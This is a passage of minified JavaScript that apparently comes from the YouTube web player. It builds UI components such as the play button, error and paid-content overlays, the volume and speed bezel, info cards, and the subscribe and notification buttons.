Z&&((E=x.U.Y().cspNonce)&&e.setAttribute("nonce",E),g.yD(e,g.c9(T)),E=g.D3("HEAD")[0]||document.body,E.insertBefore(e,E.firstChild),x.addOnDisposeCallback(function(){e.parentNode&&e.parentNode.removeChild(e)}))};
XnV=function(x,T,t,u,H){g.$B.call(this);var I=this;this.target=x;this.uJ=T;this.Z=0;this.D=!1;this.K=new g.jo(NaN,NaN);this.C=new g.nj(this);this.uG=this.j=this.N=null;g.y(this,this.C);T=u||H?4E3:3E3;this.S=new g.wX(function(){Np(I,1,!1)},T,this);
g.y(this,this.S);this.ZZ=new g.wX(function(){Np(I,2,!1)},T,this);
g.y(this,this.ZZ);this.jY=new g.wX(function(){Np(I,512,!1)},T,this);
g.y(this,this.jY);this.Hv=3E3;u||(this.j=this.C.V(x,"mouseover",this.Cu),this.C.V(x,"mousemove",this.EX),this.C.V(x,"mouseleave",this.gmc));jw?this.C.V(x,"keypress",this.aZG):this.C.V(x,"focusin",this.jk);this.T=this.C.V(x,"mousedown",this.eT);this.J=this.C.V(x,"touchstart",this.aG,void 0,!0);Np(this,640,!0)};
x1m=function(x){Np(x,4,!1);x.N&&(x.C.f2(x.N),x.N=null,x.j=x.C.V(x.target,"mouseover",x.Cu));x.j&&(x.C.f2(x.j),x.j=x.C.V(x.target,"mouseover",x.Cu))};
Np=function(x,T,t){x.T9();var u=!x.Z;t?(x.Z|=T,T&1&&x.S.start(),T&2&&x.ZZ.start()):(x.Z&=~T,T&1&&x.S.stop(),T&2&&x.ZZ.stop(),T&512&&x.jY.stop());x.Z&512&&!(x.Z&128)&&g.Kt(x.jY,x.Hv);T=!x.Z;u!==T&&x.publish("autohideupdate",T)};
g.Cb=function(x){g.Q.call(this,{L:"button",DZ:["ytp-large-play-button","ytp-button"],X:{"aria-label":"Play",title:"Play"},W:["{{largePlayButtonChildren}}"]});this.api=x;this.V(x,"videodatachange",this.Nj);this.V(x,"basechromeinitialized",this.pMG);x=this.api.Y();x.J&&Jk&&(this.listen("click",this.Sk,this),this.listen("touchstart",this.mz9,this));g.Gw(x)&&g.uY(this.element,"ytp-large-play-button-red-bg");this.api.createClientVe(this.element,this,28572);this.Nj()};
g.Q1=function(x){var T=x.Y(),t=["ytp-cued-thumbnail-overlay"];T.D&&t.push("ytp-exp-contain-thumbnail");T.B("web_player_show_frame_zero_when_cued")&&t.push("ytp-exp-frame0");g.Q.call(this,{L:"div",DZ:t,W:[{L:"div",G:"ytp-cued-thumbnail-overlay-image"}]});T=this.Um("ytp-cued-thumbnail-overlay");t=new g.Cb(x);g.y(this,t);t.yU(T);this.K=new g.nj(this);g.y(this,this.K);this.api=x;this.D=this.Um("ytp-cued-thumbnail-overlay-image");this.j=t;this.Z=new g.XK(this,250);g.y(this,this.Z);this.C=new g.wX(this.Nj,
0,this);g.y(this,this.C);this.Nj();this.V(x,"appresize",this.C2);this.V(x,"presentingplayerstatechange",this.onStateChange);this.V(x,"ypcStateChanged",this.Qic);FB(x.Y())&&this.V(x,"videoplayerreset",this.onReset)};
TPm=function(x){if(!x.api.B("web_player_show_frame_zero_when_cued"))return!1;var T=x.api.getCurrentTime();x=x.api.getPlayerStateObject();x=g.p(x,64)&&g.p(x,1);return T===0&&x};
g.pb=function(x){g.Q.call(this,{L:"div",DZ:["ytp-error"],X:{role:"alert"},W:[{L:"div",G:"ytp-error-content",W:[{L:"div",G:"ytp-error-icon-container",W:[{L:"svg",X:{fill:"#fff",viewBox:"0 0 48 48"},W:[{L:"path",X:{d:"M0 0h48v48H0V0z",fill:"none"}},{L:"path",X:{d:"M22 30h4v4h-4zm0-16h4v12h-4zm1.99-10C12.94 4 4 12.95 4 24s8.94 20 19.99 20S44 35.05 44 24 35.04 4 23.99 4zM24 40c-8.84 0-16-7.16-16-16S15.16 8 24 8s16 7.16 16 16-7.16 16-16 16z","fill-opacity":"0.7"}}]}]},{L:"div",G:"ytp-error-content-wrap",
W:[{L:"div",G:"ytp-error-content-wrap-reason",z9:"{{content}}"},{L:"div",G:"ytp-error-content-wrap-subreason",z9:"{{subreason}}"}]}]}]});this.api=x;this.keys=[];this.j=!1;x.createClientVe(this.element,this,216103);this.api.logVisibility(this.element,this.lN)};
g.OZ=function(x){x=x.split(oR4);for(var T=[],t=0;t<x.length;t+=3){var u=x[t++].split("\n");T.push(u[0]);for(var H=1;H<u.length;H++)T.push({L:"br"}),T.push(u[H]);t<x.length&&T.push({L:"a",X:{href:x[t],target:x[t+1]},z9:x[t+2]})}return{L:"span",W:T}};
w_=function(x,T,t,u,H,I,E){u=u===void 0?!1:u;H=H===void 0?!1:H;E=E===void 0?!0:E;H||(H=x.api.Y().K);var Z=x.api.getVideoData();T=g.MA(g.fb[T]||"",u?{CPN:Z.clientPlaybackNonce}:{}).split(/\$(BEGIN|END)_LINK/);u=[];I&&u.push({L:"h2",z9:I});u.push(T[0]);E&&u.push({L:"br"});u.push({L:"a",X:{href:t,target:H?"_blank":null},G:"ytp-error-link",z9:T[2]});x.j=!0;u.push(T[4]);return{L:"span",W:u}};
t2D=function(x,T){for(var t=x.element.getElementsByTagName("a"),u=0;u<t.length;u++){var H=x.V(t[u],"click",T);x.keys.push(H)}};
sb5=function(x){for(var T=0;T<x.keys.length;T++)x.f2(x.keys[T]);x.keys=[]};
uyf=function(x){g.Q.call(this,{L:"div",G:"ytp-paid-content-overlay",X:{"aria-live":"assertive","aria-atomic":"true"}});this.U=x;this.videoId=null;this.j=!1;this.innertubeCommand=this.Zx=this.C=null;var T=x.Y();x.B("enable_new_paid_product_placement")&&!g.K1(T)?(this.Z=new g.Q({L:"a",G:"ytp-paid-content-overlay-link",X:{href:"{{href}}",target:"_blank"},W:[{L:"div",G:"ytp-paid-content-overlay-icon",z9:"{{icon}}"},{L:"div",G:"ytp-paid-content-overlay-text",z9:"{{text}}"},{L:"div",G:"ytp-paid-content-overlay-chevron",
z9:"{{chevron}}"}]}),this.V(this.Z.element,"click",this.onClick)):this.Z=new g.Q({L:"div",DZ:["ytp-button","ytp-paid-content-overlay-text"],z9:"{{text}}"});this.K=new g.XK(this.Z,250,!1,100);g.y(this,this.Z);this.Z.yU(this.element);g.y(this,this.K);this.U.createServerVe(this.element,this);this.V(x,"videodatachange",this.onVideoDataChange);this.V(x,"presentingplayerstatechange",this.jM)};
H64=function(x,T){var t=J45(T),u=CCv(T);if(!T.Xt||!x.U.A7())if(x.C||x.U.B("enable_paid_content_overlay_bugfix")){if(T.videoId&&T.videoId!==x.videoId){var H;(H=x.C)==null||g.xP(H);!x.U.B("enable_paid_content_overlay_bugfix")||t&&u?(x.videoId=T.videoId,x.j=!!u,x.j&&t&&$1V(x,u,t,T)):x.j=!1}}else t&&u&&!x.U.B("enable_paid_content_overlay_bugfix")&&$1V(x,u,t,T)};
$1V=function(x,T,t,u){x.C&&x.C.dispose();x.C=new g.wX(x.nz,T,x);g.y(x,x.C);u=RU(u);T=u==null?void 0:u.navigationEndpoint;var H;u=u==null?void 0:(H=u.icon)==null?void 0:H.iconType;var I;H=(I=g.N(T,g.GQ))==null?void 0:I.url;x.U.setTrackingParams(x.element,(T==null?void 0:T.clickTrackingParams)||null);T&&!H?(x.innertubeCommand=T,H="#!"):x.innertubeCommand=null;var E;x.Z.update({href:(E=H)!=null?E:"#",text:t,icon:u==="MONEY_HAND"?{L:"svg",X:{fill:"none",height:"100%",viewBox:"0 0 24 24",width:"100%"},
W:[{L:"path",X:{d:"M6 9H5V5V4H6H19V5H6V9ZM21.72 16.04C21.56 16.8 21.15 17.5 20.55 18.05C20.47 18.13 18.42 20.01 14.03 20.01C13.85 20.01 13.67 20.01 13.48 20C11.3 19.92 8.51 19.23 5.4 18H2V10H5H6H7V6H21V13H16.72C16.37 13.59 15.74 14 15 14H12.7C13.01 14.46 13.56 15 14.5 15H15.02C16.07 15 17.1 14.64 17.92 13.98C18.82 13.26 20.03 13.22 20.91 13.84C21.58 14.32 21.9 15.19 21.72 16.04ZM15 10C15 9.45 14.55 9 14 9C13.45 9 13 9.45 13 10H15ZM20 11C19.45 11 19 11.45 19 12H20V11ZM19 7C19 7.55 19.45 8 20 8V7H19ZM8 8C8.55 8 9 7.55 9 7H8V8ZM8 10H12C12 8.9 12.9 8 14 8C15.1 8 16 8.9 16 10V10.28C16.59 10.63 17 11.26 17 12H18C18 10.9 18.9 10 20 10V9C18.9 9 18 8.1 18 7H10C10 8.1 9.1 9 8 9V10ZM5 13.5V11H3V17H5V13.5ZM20.33 14.66C19.81 14.29 19.1 14.31 18.6 14.71C17.55 15.56 16.29 16 15.02 16H14.5C12.62 16 11.67 14.46 11.43 13.64L11.24 13H15C15.55 13 16 12.55 16 12C16 11.45 15.55 11 15 11H6V13.5V17.16C8.9 18.29 11.5 18.93 13.52 19C17.85 19.15 19.85 17.34 19.87 17.32C20.33 16.9 20.62 16.4 20.74 15.84C20.84 15.37 20.68 14.91 20.33 14.66Z",
fill:"white"}}]}:null,chevron:H||x.innertubeCommand?g.MS():null})};
i6D=function(x,T){x.C&&(g.p(T,8)&&x.j?(x.j=!1,x.tq(),x.C.start()):(g.p(T,2)||g.p(T,64))&&x.videoId&&(x.videoId=null))};
Kb=function(x){g.Q.call(this,{L:"div",G:"ytp-spinner",W:[$z(),{L:"div",G:"ytp-spinner-message",z9:"If playback doesn't begin shortly, try restarting your device."}]});this.api=x;this.message=this.Um("ytp-spinner-message");this.C=new g.wX(this.show,500,this);g.y(this,this.C);this.V(x,"presentingplayerstatechange",this.onStateChange);this.V(x,"playbackstalledatstart",this.Z);this.vk(x.getPlayerStateObject())};
XC=function(x){var T=[{L:"div",DZ:["ytp-unmute-icon"],W:[{L:"svg",X:{height:"100%",version:"1.1",viewBox:"0 0 36 36",width:"100%"},W:[{L:"path",OF:!0,G:"ytp-svg-fill",X:{d:"m 21.48,17.98 c 0,-1.77 -1.02,-3.29 -2.5,-4.03 v 2.21 l 2.45,2.45 c .03,-0.2 .05,-0.41 .05,-0.63 z m 2.5,0 c 0,.94 -0.2,1.82 -0.54,2.64 l 1.51,1.51 c .66,-1.24 1.03,-2.65 1.03,-4.15 0,-4.28 -2.99,-7.86 -7,-8.76 v 2.05 c 2.89,.86 5,3.54 5,6.71 z M 9.25,8.98 l -1.27,1.26 4.72,4.73 H 7.98 v 6 H 11.98 l 5,5 v -6.73 l 4.25,4.25 c -0.67,.52 -1.42,.93 -2.25,1.18 v 2.06 c 1.38,-0.31 2.63,-0.95 3.69,-1.81 l 2.04,2.05 1.27,-1.27 -9,-9 -7.72,-7.72 z m 7.72,.99 -2.09,2.08 2.09,2.09 V 9.98 z"}}]}]},
{L:"div",DZ:["ytp-unmute-text"],z9:"Tap to unmute"}];T.push({L:"div",DZ:["ytp-unmute-box"],W:[]});g.BF.call(this,x,{L:"button",DZ:["ytp-unmute","ytp-popup","ytp-button","ytp-unmute-animated","ytp-unmute-shrink"],W:[{L:"div",G:"ytp-unmute-inner",W:T}]},100);this.C=this.clicked=!1;this.api=x;this.api.createClientVe(this.element,this,51663);this.V(x,"onMutedAutoplayChange",this.onMutedAutoplayChange,this);this.V(x,"presentingplayerstatechange",this.Ot);this.listen("click",this.onClick,this);x=x.isMutedByMutedAutoplay()&&
!g.zw(this.api.Y());this.ou(x);x&&IUH(this);this.j=x};
IUH=function(x){x.C||(x.C=!0,x.api.logVisibility(x.element,!0))};
g.x6=function(x){g.nj.call(this);var T=this;this.api=x;this.Ja=!1;this.Zl=null;this.E4=!1;this.Ft=null;this.kh=this.Ys=!1;this.zW=this.L3=null;this.Lg=NaN;this.oV=this.KW=!1;this.kD=0;this.jz=[];this.UV=!1;this.AO={height:0,width:0};this.TD=480;this.uQW=["ytp-player-content","html5-endscreen","ytp-overlay"];this.Bo={Se:!1};var t=x.Y(),u=x.bG();this.AO=x.getPlayerSize();this.Z7=new g.wX(this.Uy,0,this);g.y(this,this.Z7);t.disableOrganicUi||(this.YK=new g.Q1(x),g.y(this,this.YK),g.V$(x,this.YK.element,
4));if(ER3(this)){var H=new Kb(x);g.y(this,H);H=H.element;g.V$(x,H,4)}var I=x.getVideoData();this.vU=new XnV(u,function(Z){return T.uJ(Z)},I,t.ZG,!1);
g.y(this,this.vU);this.vU.subscribe("autohideupdate",this.WJ,this);if(!t.disablePaidContentOverlay){var E=new uyf(x);g.y(this,E);g.V$(x,E.element,4)}this.Pu=new XC(x);g.y(this,this.Pu);g.V$(this.api,this.Pu.element,2);this.a6=this.api.isMutedByMutedAutoplay();this.V(x,"onMutedAutoplayChange",this.onMutedAutoplayChange);this.A_=new g.wX(this.Q3,200,this);g.y(this,this.A_);this.AT=I.videoId;this.YU=new g.wX(function(){T.kD=0},350);
g.y(this,this.YU);this.nS=new g.wX(function(){T.oV||qJq(T)},350,this);
g.y(this,this.nS);I=x.getRootNode();I.setAttribute("aria-label","YouTube Video Player");switch(t.color){case "white":g.uY(I,"ytp-color-white")}this.V(x,"appresize",this.C2);this.V(x,"presentingplayerstatechange",this.Ot);this.V(x,"videodatachange",this.onVideoDataChange);this.V(x,"videoplayerreset",this.CIv);this.V(x,"autonavvisibility",function(){T.G5()});
this.V(x,"sizestylechange",function(){T.G5()});
this.V(u,"click",this.fnU,this);this.V(u,"dblclick",this.n6W,this);this.V(u,"mousedown",this.cov,this);t.hM&&(this.V(u,"gesturechange",this.g6Y,this),this.V(u,"gestureend",this.BbW,this));this.ED=[u.oI];this.YK&&this.ED.push(this.YK.element);H&&this.ED.push(H);this.api.B("web_player_fullscreen_double_click_ve")&&(this.api.createClientVe(u.element,this,247482),this.api.logVisibility(u.element,!0))};
Z6J=function(x,T){if(!T)return!1;var t=x.api.Bt();if(t.kQ()&&(t=t.yA())&&g.ux(t,T))return t.controls;for(t=0;t<x.ED.length;t++)if(g.ux(x.ED[t],T))return!1;t=g.S(x.uQW);for(var u=t.next();!u.done;u=t.next())if(g.sR(T,u.value))return!1;return T===x.api.getRootNode()?!1:!0};
jbq=function(x){var T=x.api.getPresentingPlayerType()===2&&(x.api.bG().cj||x.api.Y().disableOrganicUi||!1)&&x.api.Y().Z&&Jk&&Ta>=11;x=x.api.Y().J&&Jk;return!(!T&&!x)};
oK=function(x,T){return!x.api.isInline()&&!Z6J(x,Yi(T))&&g.cu(T)};
qJq=function(x){x.vU.rf();if(x.Ys&&x.kh)x.kh=!1;else if(!x.api.Y().QU&&!x.dG()){var T=x.api.getPlayerStateObject();g.p(T,2)&&g.bh(x.api)||x.Q4(T);!x.api.Y().hM||T.isCued()||g.p(T,1024)?x.Q3():x.A_.isActive()?(x.W8(),x.A_.stop()):x.A_.start()}};
e8H=function(x,T){var t;if((t=x.api.getVideoData())==null?0:t.mutedAutoplay){var u,H;if((u=T.target)==null?0:(H=u.className)==null?0:H.includes("ytp-info-panel"))return!1}return g.cu(T)&&x.api.isMutedByMutedAutoplay()?(x.api.unMute(),x.api.getPresentingPlayerType()===2&&x.api.playVideo(),T=x.api.getPlayerStateObject(),!g.p(T,4)||g.p(T,8)||g.p(T,2)||x.Q3(),!0):!1};
lU5=function(x,T,t){x.api.isFullscreen()?t<1-T&&x.api.toggleFullscreen():t>1+T&&x.api.toggleFullscreen()};
ER3=function(x){var T=yX()&&Wi()>=67&&!x.api.Y().J;x=x.api.Y().disableOrganicUi;return!g.D2("tizen")&&!Tw&&!T&&!x};
tD=function(x,T){T=T===void 0?2:T;g.$B.call(this);this.api=x;this.C=null;this.uI=new bj(this);g.y(this,this.uI);this.Z=ssV;this.uI.V(this.api,"presentingplayerstatechange",this.K6);this.C=this.uI.V(this.api,"progresssync",this.Bk);this.wR=T;this.wR===1&&this.Bk()};
g.sl=function(x){g.Q.call(this,{L:"div",W:[{L:"div",G:"ytp-bezel-text-wrapper",W:[{L:"div",G:"ytp-bezel-text",z9:"{{title}}"}]},{L:"div",G:"ytp-bezel",X:{role:"status","aria-label":"{{label}}"},W:[{L:"div",G:"ytp-bezel-icon",z9:"{{icon}}"}]}]});this.U=x;this.Z=new g.wX(this.show,10,this);x=this.U.B("delhi_modern_web_player")?1E3:500;this.C=new g.wX(this.hide,x,this);g.y(this,this.Z);g.y(this,this.C);this.hide()};
$6=function(x,T,t){if(T<=0){t=zQ();T="muted";var u=0}else t=t?{L:"svg",X:{height:"100%",version:"1.1",viewBox:"0 0 36 36",width:"100%"},W:[{L:"path",OF:!0,X:{d:"M8,21 L12,21 L17,26 L17,10 L12,15 L8,15 L8,21 Z M19,14 L19,22 C20.48,21.32 21.5,19.77 21.5,18 C21.5,16.26 20.48,14.74 19,14 Z",fill:"#fff"}}]}:{L:"svg",X:{height:"100%",version:"1.1",viewBox:"0 0 36 36",width:"100%"},W:[{L:"path",OF:!0,X:{d:"M8,21 L12,21 L17,26 L17,10 L12,15 L8,15 L8,21 Z M19,14 L19,22 C20.48,21.32 21.5,19.77 21.5,18 C21.5,16.26 20.48,14.74 19,14 Z M19,11.29 C21.89,12.15 24,14.83 24,18 C24,21.17 21.89,23.85 19,24.71 L19,26.77 C23.01,25.86 26,22.28 26,18 C26,13.72 23.01,10.14 19,9.23 L19,11.29 Z",
fill:"#fff"}}]},u=Math.floor(T),T=u+"volume";ui(x,t,T,u+"%")};
m1m=function(x,T){T=T?{L:"svg",X:{height:"100%",version:"1.1",viewBox:"0 0 36 36",width:"100%"},W:[{L:"path",OF:!0,G:"ytp-svg-fill",X:{d:"M 17,24 V 12 l -8.5,6 8.5,6 z m .5,-6 8.5,6 V 12 l -8.5,6 z"}}]}:Ryf();var t=x.U.getPlaybackRate(),u=g.MA("Speed is $RATE",{RATE:String(t)});ui(x,T,u,t+"x")};
d1q=function(x,T){T=T?"Subtitles/closed captions on":"Subtitles/closed captions off";ui(x,oI3(),T)};
ui=function(x,T,t,u){u=u===void 0?"":u;x.updateValue("label",t===void 0?"":t);x.updateValue("icon",T);g.xP(x.C);x.Z.start();x.updateValue("title",u);g.Ic(x.element,"ytp-bezel-text-hide",!u)};
M23=function(x,T){g.Q.call(this,{L:"button",DZ:["ytp-button","ytp-cards-button"],X:{"aria-label":"Show cards","aria-owns":"iv-drawer","aria-haspopup":"true","data-tooltip-opaque":String(g.zw(x.Y()))},W:[{L:"span",G:"ytp-cards-button-icon-default",W:[{L:"div",G:"ytp-cards-button-icon",W:[x.Y().B("player_new_info_card_format")?cSq():{L:"svg",X:{height:"100%",version:"1.1",viewBox:"0 0 36 36",width:"100%"},W:[{L:"path",OF:!0,G:"ytp-svg-fill",X:{d:"M18,8 C12.47,8 8,12.47 8,18 C8,23.52 12.47,28 18,28 C23.52,28 28,23.52 28,18 C28,12.47 23.52,8 18,8 L18,8 Z M17,16 L19,16 L19,24 L17,24 L17,16 Z M17,12 L19,12 L19,14 L17,14 L17,12 Z"}}]}]},
{L:"div",G:"ytp-cards-button-title",z9:"Info"}]},{L:"span",G:"ytp-cards-button-icon-shopping",W:[{L:"div",G:"ytp-cards-button-icon",W:[{L:"svg",X:{height:"100%",version:"1.1",viewBox:"0 0 36 36",width:"100%"},W:[{L:"path",G:"ytp-svg-shadow",X:{d:"M 27.99,18 A 9.99,9.99 0 1 1 8.00,18 9.99,9.99 0 1 1 27.99,18 z"}},{L:"path",G:"ytp-svg-fill",X:{d:"M 18,8 C 12.47,8 8,12.47 8,18 8,23.52 12.47,28 18,28 23.52,28 28,23.52 28,18 28,12.47 23.52,8 18,8 z m -4.68,4 4.53,0 c .35,0 .70,.14 .93,.37 l 5.84,5.84 c .23,.23 .37,.58 .37,.93 0,.35 -0.13,.67 -0.37,.90 L 20.06,24.62 C 19.82,24.86 19.51,25 19.15,25 c -0.35,0 -0.70,-0.14 -0.93,-0.37 L 12.37,18.78 C 12.13,18.54 12,18.20 12,17.84 L 12,13.31 C 12,12.59 12.59,12 13.31,12 z m .96,1.31 c -0.53,0 -0.96,.42 -0.96,.96 0,.53 .42,.96 .96,.96 .53,0 .96,-0.42 .96,-0.96 0,-0.53 -0.42,-0.96 -0.96,-0.96 z",
"fill-opacity":"1"}},{L:"path",G:"ytp-svg-shadow-fill",X:{d:"M 24.61,18.22 18.76,12.37 C 18.53,12.14 18.20,12 17.85,12 H 13.30 C 12.58,12 12,12.58 12,13.30 V 17.85 c 0,.35 .14,.68 .38,.92 l 5.84,5.85 c .23,.23 .55,.37 .91,.37 .35,0 .68,-0.14 .91,-0.38 L 24.61,20.06 C 24.85,19.83 25,19.50 25,19.15 25,18.79 24.85,18.46 24.61,18.22 z M 14.27,15.25 c -0.53,0 -0.97,-0.43 -0.97,-0.97 0,-0.53 .43,-0.97 .97,-0.97 .53,0 .97,.43 .97,.97 0,.53 -0.43,.97 -0.97,.97 z",fill:"#000","fill-opacity":"0.15"}}]}]},{L:"div",
G:"ytp-cards-button-title",z9:"Shopping"}]}]});this.U=x;this.j=T;this.C=null;this.Z=new g.XK(this,250,!0,100);g.y(this,this.Z);g.Ic(this.j,"ytp-show-cards-title",g.zw(x.Y()));this.hide();this.listen("click",this.onClicked);this.listen("mouseover",this.fkm);this.l7(!0)};
Ao4=function(x,T){g.Q.call(this,{L:"div",G:"ytp-cards-teaser",W:[{L:"div",G:"ytp-cards-teaser-box"},{L:"div",G:"ytp-cards-teaser-text",W:x.Y().B("player_new_info_card_format")?[{L:"button",G:"ytp-cards-teaser-info-icon",X:{"aria-label":"Show cards","aria-haspopup":"true"},W:[cSq()]},{L:"span",G:"ytp-cards-teaser-label",z9:"{{text}}"},{L:"button",G:"ytp-cards-teaser-close-button",X:{"aria-label":"Close"},W:[g.A3()]}]:[{L:"span",G:"ytp-cards-teaser-label",z9:"{{text}}"}]}]});var t=this;this.U=x;this.Oo=
T;this.K=new g.XK(this,250,!1,250);this.C=null;this.J=new g.wX(this.YFY,300,this);this.N=new g.wX(this.Vgj,2E3,this);this.D=[];this.Z=null;this.S=new g.wX(function(){t.element.style.margin="0"},250);
this.onClickCommand=this.j=null;g.y(this,this.K);g.y(this,this.J);g.y(this,this.N);g.y(this,this.S);x.Y().B("player_new_info_card_format")?(g.uY(x.getRootNode(),"ytp-cards-teaser-dismissible"),this.V(this.Um("ytp-cards-teaser-close-button"),"click",this.dS),this.V(this.Um("ytp-cards-teaser-info-icon"),"click",this.Sj),this.V(this.Um("ytp-cards-teaser-label"),"click",this.Sj)):this.listen("click",this.Sj);this.V(T.element,"mouseover",this.Xp);this.V(T.element,"mouseout",this.WF);this.V(x,"cardsteasershow",
this.k3y);this.V(x,"cardsteaserhide",this.nz);this.V(x,"cardstatechange",this.Q2);this.V(x,"presentingplayerstatechange",this.Q2);this.V(x,"appresize",this.pM);this.V(x,"onShowControls",this.pM);this.V(x,"onHideControls",this.wC);this.listen("mouseenter",this.ox)};
R8V=function(x){g.Q.call(this,{L:"button",DZ:[H7.BUTTON,H7.TITLE_NOTIFICATIONS],X:{"aria-pressed":"{{pressed}}","aria-label":"{{label}}"},W:[{L:"div",G:H7.TITLE_NOTIFICATIONS_ON,X:{title:"Stop getting notified about every new video","aria-label":"Notify subscriptions"},W:[g.Sb()]},{L:"div",G:H7.TITLE_NOTIFICATIONS_OFF,X:{title:"Get notified about every new video","aria-label":"Notify subscriptions"},W:[{L:"svg",X:{fill:"#fff",height:"24px",viewBox:"0 0 24 24",width:"24px"},W:[{L:"path",X:{d:"M18 11c0-3.07-1.64-5.64-4.5-6.32V4c0-.83-.67-1.5-1.5-1.5s-1.5.67-1.5 1.5v.68C7.63 5.36 6 7.92 6 11v5l-2 2v1h16v-1l-2-2v-5zm-6 11c.14 0 .27-.01.4-.04.65-.14 1.18-.58 1.44-1.18.1-.24.15-.5.15-.78h-4c.01 1.1.9 2 2.01 2z"}}]}]}]});
this.api=x;this.C=!1;x.createClientVe(this.element,this,36927);this.listen("click",this.onClick,this);this.updateValue("pressed",!1);this.updateValue("label","Get notified about every new video")};
Psv=function(x,T){x.C=T;x.element.classList.toggle(H7.NOTIFICATIONS_ENABLED,x.C);var t=x.api.getVideoData();t?(T=T?t.x7:t.LJ)?(x=x.api.qm())?Cl(x,T):g.vW(Error("No innertube service available when updating notification preferences.")):g.vW(Error("No update preferences command available.")):g.vW(Error("No video data when updating notification preferences."))};
coX=function(x,T,t){var u=u===void 0?800:u;var H=H===void 0?600:H;var I=document.location.protocol;x=SAC(I+"//"+x+"/signin?context=popup","feature",T,"next",I+"//"+location.hostname+"/post_login");SJX(x,t,u,H)};
SJX=function(x,T,t,u){t=t===void 0?800:t;u=u===void 0?600:u;if(x=g.aI(window,x,"loginPopup","width="+t+",height="+u+",resizable=yes,scrollbars=yes"))AgV(function(){T()}),x.moveTo((screen.width-t)/2,(screen.height-u)/2)};
g.ii=function(x,T,t,u,H,I,E,Z,e,l,m,d){x=x.charAt(0)+x.substring(1).toLowerCase();t=t.charAt(0)+t.substring(1).toLowerCase();if(T==="0"||T==="-1")T=null;if(u==="0"||u==="-1")u=null;var M=m.Y(),A=M.userDisplayName&&g.Gw(M);g.Q.call(this,{L:"div",DZ:["ytp-button","ytp-sb"],W:[{L:"div",G:"ytp-sb-subscribe",X:A?{title:g.MA("Subscribe as $USER_NAME",{USER_NAME:M.userDisplayName}),"aria-label":"Subscribe to channel","data-tooltip-image":oX(M),"data-tooltip-opaque":String(g.zw(M)),tabindex:"0",role:"button"}:
{"aria-label":"Subscribe to channel"},W:[{L:"div",G:"ytp-sb-text",W:[{L:"div",G:"ytp-sb-icon"},x]},T?{L:"div",G:"ytp-sb-count",z9:T}:""]},{L:"div",G:"ytp-sb-unsubscribe",X:A?{title:g.MA("Subscribed as $USER_NAME",{USER_NAME:M.userDisplayName}),"aria-label":"Unsubscribe to channel","data-tooltip-image":oX(M),"data-tooltip-opaque":String(g.zw(M)),tabindex:"0",role:"button"}:{"aria-label":"Unsubscribe to channel"},W:[{L:"div",G:"ytp-sb-text",W:[{L:"div",G:"ytp-sb-icon"},t]},u?{L:"div",G:"ytp-sb-count",
z9:u}:""]}],X:{"aria-live":"polite"}});var R=this;this.channelId=E;this.U=m;this.j=d;var Y=this.Um("ytp-sb-subscribe"),b=this.Um("ytp-sb-unsubscribe");I&&g.uY(this.element,"ytp-sb-classic");if(H){Z?this.C():this.Z();var z=function(){if(M.uG){var V=R.channelId;if(e||l){var B={c:V};var D;g.G4.isInitialized()&&(D=PSq(B));B=D||"";if(D=m.getVideoData())if(D=D.subscribeCommand){var f=m.qm();f?(Cl(f,D,{botguardResponse:B,feature:e}),m.XW("SUBSCRIBE",V)):g.vW(Error("No innertube service available when updating subscriptions."))}else g.vW(Error("No subscribe command in videoData."));
else g.vW(Error("No video data available when updating subscription."))}b.focus();b.removeAttribute("aria-hidden");Y.setAttribute("aria-hidden","true")}else coX(g.JF(R.U.Y()),"sb_button",R.K)},F=function(){var V=R.channelId;
if(e||l){var B=m.getVideoData();Cl(m.qm(),B.unsubscribeCommand,{feature:e});m.XW("UNSUBSCRIBE",V)}Y.focus();Y.removeAttribute("aria-hidden");b.setAttribute("aria-hidden","true")};
this.V(Y,"click",z);this.V(b,"click",F);this.V(Y,"keypress",function(V){V.keyCode===13&&z(V)});
this.V(b,"keypress",function(V){V.keyCode===13&&F(V)});
this.V(m,"SUBSCRIBE",this.C);this.V(m,"UNSUBSCRIBE",this.Z);this.j&&A&&(gs3(m),cF(m,Y,this),cF(m,b,this))}else g.uY(Y,"ytp-sb-disabled"),g.uY(b,"ytp-sb-disabled")};
b6X=function(x){g.Q.call(this,{L:"div",G:"ytp-title-channel",W:[{L:"div",G:"ytp-title-beacon"},{L:"a",G:"ytp-title-channel-logo",X:{href:"{{channelLink}}",target:x.Y().S,role:"link","aria-label":"{{channelLogoLabel}}",tabIndex:"0"}},{L:"div",G:"ytp-title-expanded-overlay",X:{"aria-hidden":"{{flyoutUnfocusable}}"},W:[{L:"div",G:"ytp-title-expanded-heading",W:[{L:"div",G:"ytp-title-expanded-title",W:[{L:"a",z9:"{{expandedTitle}}",X:{href:"{{channelTitleLink}}",target:x.Y().S,"aria-hidden":"{{shouldHideExpandedTitleForA11y}}",
tabIndex:"{{channelTitleFocusable}}"}}]},{L:"div",G:"ytp-title-expanded-subtitle",z9:"{{expandedSubtitle}}",X:{"aria-hidden":"{{shouldHideExpandedSubtitleForA11y}}"}}]}]}]});var T=this;this.api=x;this.channel=this.Um("ytp-title-channel");this.Z=this.Um("ytp-title-channel-logo");this.channelName=this.Um("ytp-title-expanded-title");this.D=this.Um("ytp-title-expanded-overlay");this.j=this.C=this.subscribeButton=null;this.K=!1;x.createClientVe(this.Z,this,36925);x.createClientVe(this.channelName,this,
37220);g.zw(this.api.Y())&&YJi(this);this.V(x,"videodatachange",this.Nj);this.V(x,"videoplayerreset",this.Nj);this.V(this.channelName,"click",function(t){T.api.logClick(T.channelName);g.aI(window,U1f(T));t.preventDefault()});
this.V(this.Z,"click",this.ksj);this.Nj()};
ro5=function(x){if(!x.api.Y().Zk){var T=x.api.getVideoData(),t=new g.ii("Subscribe",null,"Subscribed",null,!0,!1,T.dP,T.subscribed,"channel_avatar",null,x.api,!0);x.api.createServerVe(t.element,x);var u;x.api.setTrackingParams(t.element,((u=T.subscribeButtonRenderer)==null?void 0:u.trackingParams)||null);x.V(t.element,"click",function(){x.api.logClick(t.element)});
x.subscribeButton=t;g.y(x,x.subscribeButton);x.subscribeButton.yU(x.D);x.subscribeButton.hide();var H=new R8V(x.api);x.C=H;g.y(x,H);H.yU(x.D);H.hide();x.V(x.api,"SUBSCRIBE",function(){T.UG&&(H.show(),x.api.logVisibility(H.element,!0))});
x.V(x.api,"UNSUBSCRIBE",function(){T.UG&&(H.hide(),x.api.logVisibility(H.element,!1),Psv(H,!1))})}};
